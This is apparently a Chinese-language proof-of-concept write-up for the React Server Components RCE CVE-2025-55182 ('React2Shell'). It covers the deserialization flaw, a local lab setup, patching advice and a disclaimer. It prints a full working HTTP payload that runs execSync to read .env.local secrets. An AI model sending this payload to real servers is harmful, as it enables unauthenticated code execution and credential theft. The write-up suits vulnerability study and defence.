
该仓库提供了 CVE-2025-55182(React2Shell)的概念验证(PoC),这是 React Server Components 中的一个远程代码执行漏洞。它演示了该漏洞利用的工作原理,包括 payload 及其影响。
CVE-2025-55182,也被称为 React2Shell,是一个影响 React Server Components 的严重远程代码执行 (RCE) 漏洞。该漏洞允许未经身份验证的攻击者利用 React Flight 协议中的不安全反序列化问题,在易受攻击的服务器上执行任意代码。
鉴于其 CVSS 评分为 10.0,该漏洞极为严重,需要立即关注。在本文中,我将带你了解该漏洞的详细信息、利用机制,并提供概念验证 (PoC) 演示。让我们开始吧。
以下版本的 React Server Components 及相关包存在漏洞:
React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0
受影响的包:
react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack
React.js 是用于构建用户界面的最流行的 JavaScript 库之一,尤其是在单页应用程序 (SPA) 的背景下。它使开发人员能够创建动态且交互式的用户体验。
React Server Components (RSC) 是一项实验性功能,允许 React 应用的某些部分在服务器端而不是客户端渲染。这减少了客户端所需的 JavaScript 数量,并提高了性能,尤其是在大型应用中。
然而,RSC 引入了新的复杂性,特别是在服务器与客户端之间数据交换的方式上。CVE-2025-55182 利用了 Flight 协议中的这样一个问题,该协议用于在 RSC 中在服务器和客户端之间传输数据。
CVE-2025-55182 源于 React Flight 协议中的不安全反序列化。反序列化是将序列化数据(通常是 JSON)转换为内存中对象的过程。React 使用此过程来处理服务器端渲染期间服务器与客户端之间交换的数据。
然而,React 的反序列化实现是不安全的。具体来说,React 使用方括号表示法来访问对象的属性(例如 moduleExports[metadata[2]]),这允许攻击者操纵 JavaScript 对象的原型链。这会导致原型污染,并打开了以意外方式修改对象属性的能力,使攻击者能够利用反序列化逻辑。
该漏洞的根本在于 React 如何处理 Flight 协议的有效载荷。使用方括号表示法进行属性访问,使攻击者能够遍历原型链,从而访问通常不应可访问的属性——例如 constructor。通过操纵此属性,攻击者可以访问全局 Function 构造函数,并在服务器上执行任意 JavaScript 代码。
该利用通过向服务器发送特制有效载荷,操纵 Flight 协议的反序列化逻辑来实现。通过结合原型污染和不安全的反序列化,攻击者可以控制服务器并执行任意代码。
攻击的关键组成部分包括:
原型污染:攻击者操纵对象的原型链以注入新属性,包括 constructor 和 Function 属性。
有效载荷执行:一旦攻击者能够访问 Function 构造函数,他们就可以执行任意 JavaScript 代码,例如读取文件或执行系统命令。
要测试该利用,你需要一个易受攻击的 React 环境。以下是设置方法:
npx [email protected] poc-react2shell cd poc-react2shell
或者,你可以使用一个预先配置好的 GitHub 仓库,该仓库已包含易受攻击的设置。
创建测试环境文件
在项目的根目录中,创建一个包含敏感数据(如 API 密钥)的 .env.local 文件。攻击者将在 PoC 中针对此文件:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
启动开发服务器
运行开发服务器:
npm run dev
易受攻击的服务器现在应该运行在 http://localhost:3000 上。
环境准备就绪后,你可以发送恶意有效载荷来触发该利用。这时 Burp Suite 或任何其他 HTTP 代理工具就派上用场了。
发送恶意有效载荷
打开 Burp Suite 并导航到 Repeater 选项卡。将目标 URL 设置为 http://localhost:3000/ 并发送以下恶意有效载荷:
POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
分析响应
发送请求后,如果利用成功,服务器将响应你的 .env.local 文件的内容(或环境变量中的任何敏感数据)。这证实了攻击者可以访问机密数据。

Host:指定目标服务器(localhost:3000)。
User-Agent:标识发出请求的客户端。该字符串通常来自浏览器,但此处可能是为了混淆攻击而特意构造的。
Next-Action:可能是 Next.js 处理的一部分,可能会迷惑服务器或与反序列化过程交互。
X-Nextjs-Request-Id:Next.js 中用于跟踪和调试的唯一请求 ID。
Content-Type:多部分表单数据,用于 JSON 或文件上传等结构化数据。
Content-Length:表示请求体的长度。
Field 0:包含触发原型污染的有效载荷。它修改对象的原型,添加一个新的 then 属性,并包含一个恶意的 _response 对象。_prefix 运行一条 child_process 命令来读取 .env.local 文件。
Field 1:引用 Field 0 以传播攻击。
Field 2:空数组,确保有效载荷的结构保持不变。
CVE-2025-55182 漏洞使攻击者能够:
在服务器上执行任意代码。
读取敏感文件,例如 API 密钥和配置文件。
建立反向 shell,从而可能完全控制服务器。
从服务器窃取敏感数据。
CVE-2025-55182 (React2Shell) 是 React Server Components 中的一个严重漏洞,允许未经身份验证的攻击者在易受攻击的服务器上执行任意代码。通过利用不安全的反序列化和原型污染,攻击者可以获得对服务器的完全控制、读取敏感数据并执行恶意命令。
如果你正在使用 React Server Components,务必更新到最新的已修复版本以缓解此漏洞。遵循最佳安全实践,例如输入验证和正确的反序列化处理,对于防范类似漏洞至关重要。
本概念验证仅用于教育和研究目的。未经系统所有者明确书面同意,请勿尝试在任何系统上利用或测试漏洞。未经授权的测试可能是非法和不道德的。请始终遵守网络安全中的合法和负责任的做法。